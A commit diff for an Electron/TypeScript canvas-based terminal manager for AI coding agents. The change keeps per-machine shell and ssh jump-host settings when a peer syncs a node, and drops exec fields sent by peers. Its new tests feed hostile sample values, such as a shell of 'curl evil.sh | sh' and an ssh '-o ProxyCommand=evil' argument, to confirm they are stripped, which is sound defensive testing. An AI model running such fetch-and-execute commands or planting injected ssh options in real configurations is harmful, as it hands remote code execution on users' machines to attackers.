Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.
TypeScript adhdagent-orchestrationai-agentscanvasclaude-codecodexcoding-agentsdeveloper-toolselectrongeminilinuxmacosmultiplexeropencodeparallel-agentsterminalterminal-emulatorterminal-multiplexertmuxworkspace-manager
fix(canvas-sync): a peer editing our node no longer erases our own exec values
enesf253c5024c23
diff --git a/src/renderer/state/workspace.ts b/src/renderer/state/workspace.tsindex 52689400c..c713eaf6e 100644--- a/src/renderer/state/workspace.ts+++ b/src/renderer/state/workspace.ts@@ -1061,7 +1061,25 @@ export function applyMutationToFlow(nodes: CanvasNode[], m: CanvasMutation): Can// Local-only data (initialCommand / respawnNonce / remote / forkFrom) is not serialized, so it// is not in `incoming` — carry it. Every serialized key IS present on incoming.data (as a value// or an explicit undefined), so the spread still applies the peer's clears.- data: { ...prev.data, ...incoming.data }+ //+ // The exec fields are the exception: they are PER-MACHINE and simply do not participate in the+ // sync. Theirs were dropped by `sanitizeInboundNode` above; ours are carried across the upsert —+ // otherwise a peer merely DRAGGING our ssh terminal would hand it back with no jump host, and+ // the next save would erase it from our own machine-local index (@shared/node-exec).+ data: {+ ...prev.data,+ ...incoming.data,+ shell: prev.data.shell,+ ...(incoming.data.ssh && prev.data.ssh?.extraArgs+ ? {+ ssh: {+ ...incoming.data.ssh,+ extraArgs: prev.data.ssh.extraArgs,+ execTrusted: prev.data.ssh.execTrusted+ }+ }+ : {})+ }}return prev.parentId === incoming.parentId ? next : groupsFirst(next)}diff --git a/src/shared/canvas-mutations.ts b/src/shared/canvas-mutations.tsindex abbdc34cc..e1c53f028 100644--- a/src/shared/canvas-mutations.ts+++ b/src/shared/canvas-mutations.ts@@ -2,7 +2,7 @@// the relay host (src/main/remote), the renderer (Canvas), and the canvas-sync reflector// (src/core). Pure: no electron, no sockets, no disk.-import { sanitizeInboundNode } from './node-exec'+import { carryLocalNodeExec, sanitizeInboundNode } from './node-exec'import { REF_MAX_LEN } from './presence'import type { CanvasMutation, CanvasNodeState } from './types'@@ -156,7 +156,9 @@ export function applyCanvasMutation(const idx = states.findIndex((n) => n.id === node.id)if (idx === -1) return [...states, node]const next = states.slice()- next[idx] = node+ // …and OUR exec fields stay on the node the upsert replaces: they are per-machine, so a peer+ // dragging our ssh terminal must not hand it back stripped of the jump host we configured.+ next[idx] = carryLocalNodeExec(states[idx], node)return next}diff --git a/src/shared/node-exec.test.ts b/src/shared/node-exec.test.tsindex 42fceae72..140ce6b1f 100644--- a/src/shared/node-exec.test.ts+++ b/src/shared/node-exec.test.ts@@ -1,7 +1,9 @@import { describe, it, expect } from 'vitest'import type { CanvasNodeState } from './types'+import { applyCanvasMutation } from './canvas-mutations'import {applyLocalNodeExec,+ carryLocalNodeExec,localNodeExec,safeSessionProgram,sanitizeInboundMutation,@@ -209,3 +211,58 @@ describe('localNodeExec provenance', () => {expect(loaded[0].ssh?.execTrusted).toBe(true) // → the exec site honors it})})++// The other half of "the exec fields do not participate in the sync": stripping the PEER's values+// out of an upsert is not enough, because an upsert REPLACES the node. A teammate merely dragging+// our ssh terminal would hand it back with no extraArgs, and the next save would harvest that empty+// node and erase our jump host from our OWN machine-local index. So ours ride across.+describe('carryLocalNodeExec (a peer editing our node must not erase our exec values)', () => {+ const mine = node({+ id: 'n1',+ title: 'mine',+ shell: '/bin/zsh',+ ssh: { host: 'h', user: 'u', extraArgs: '-o ProxyCommand=corp %h', execTrusted: true }+ })++ it('keeps our shell / extraArgs on the node a peer upserted', () => {+ const theirs = sanitizeInboundNode(+ node({ id: 'n1', title: 'renamed by peer', position: { x: 99, y: 99 }, ssh: { host: 'h', user: 'u' } })+ )+ const merged = carryLocalNodeExec(mine, theirs)+ expect(merged.title).toBe('renamed by peer') // their edit lands+ expect(merged.position).toEqual({ x: 99, y: 99 })+ expect(merged.shell).toBe('/bin/zsh') // ours survives+ expect(merged.ssh?.extraArgs).toBe('-o ProxyCommand=corp %h')+ expect(merged.ssh?.execTrusted).toBe(true)+ })++ it('adds nothing to a node we do not already hold', () => {+ const fresh = node({ id: 'n2' })+ expect(carryLocalNodeExec(undefined, fresh)).toBe(fresh)+ })++ it('applyCanvasMutation: a peer drag sanitizes theirs and preserves ours, in one step', () => {+ const states = [mine]+ const next = applyCanvasMutation(states, {+ op: 'upsert',+ node: node({+ id: 'n1',+ position: { x: 10, y: 10 },+ shell: 'curl evil.sh | sh',+ ssh: { host: 'h', user: 'u', extraArgs: '-o ProxyCommand=evil', execTrusted: true }+ })+ })+ expect(next[0].position).toEqual({ x: 10, y: 10 })+ expect(next[0].shell).toBe('/bin/zsh')+ expect(next[0].ssh?.extraArgs).toBe('-o ProxyCommand=corp %h')+ })++ it('applyCanvasMutation: a brand-new node from a peer arrives with no exec fields at all', () => {+ const next = applyCanvasMutation([], {+ op: 'upsert',+ node: node({ id: 'n9', shell: 'evil.sh', ssh: { host: 'h', user: 'u', extraArgs: '-o ProxyCommand=evil' } })+ })+ expect(next[0].shell).toBeUndefined()+ expect(next[0].ssh?.extraArgs).toBeUndefined()+ })+})diff --git a/src/shared/node-exec.ts b/src/shared/node-exec.tsindex a7aa1d7ce..a71f25ac3 100644--- a/src/shared/node-exec.ts+++ b/src/shared/node-exec.ts@@ -104,6 +104,29 @@ export function sanitizeInboundNode(node: CanvasNodeState): CanvasNodeState {return stripNodeExec(node)}+/**+ * Apply an inbound node OVER the copy we already hold, keeping OUR exec fields on it.+ *+ * Stripping the peer's values is only half of it: an upsert REPLACES the node, so a teammate merely+ * dragging our ssh terminal would otherwise hand us back a copy with no `extraArgs` — and the next+ * save would harvest that empty node and erase the jump host from our own machine-local index. The+ * exec fields are per-machine, so they simply do not participate in the sync: theirs are dropped,+ * ours are carried across every mutation that touches the node.+ */+export function carryLocalNodeExec(+ prev: CanvasNodeState | undefined,+ next: CanvasNodeState+): CanvasNodeState {+ if (!prev) return next+ const extraArgs = prev.ssh?.extraArgs+ if (prev.shell === undefined && extraArgs === undefined) return next+ const out: CanvasNodeState = { ...next }+ if (prev.shell !== undefined) out.shell = prev.shell+ if (extraArgs !== undefined && out.ssh)+ out.ssh = { ...out.ssh, extraArgs, execTrusted: prev.ssh?.execTrusted }+ return out+}+/** `sanitizeInboundNode` for a whole mutation (the stamps — `src`, `seq` — are preserved). */export function sanitizeInboundMutation<T extends { op: 'upsert' | 'remove' }>(m: T): T {if (m.op !== 'upsert') return m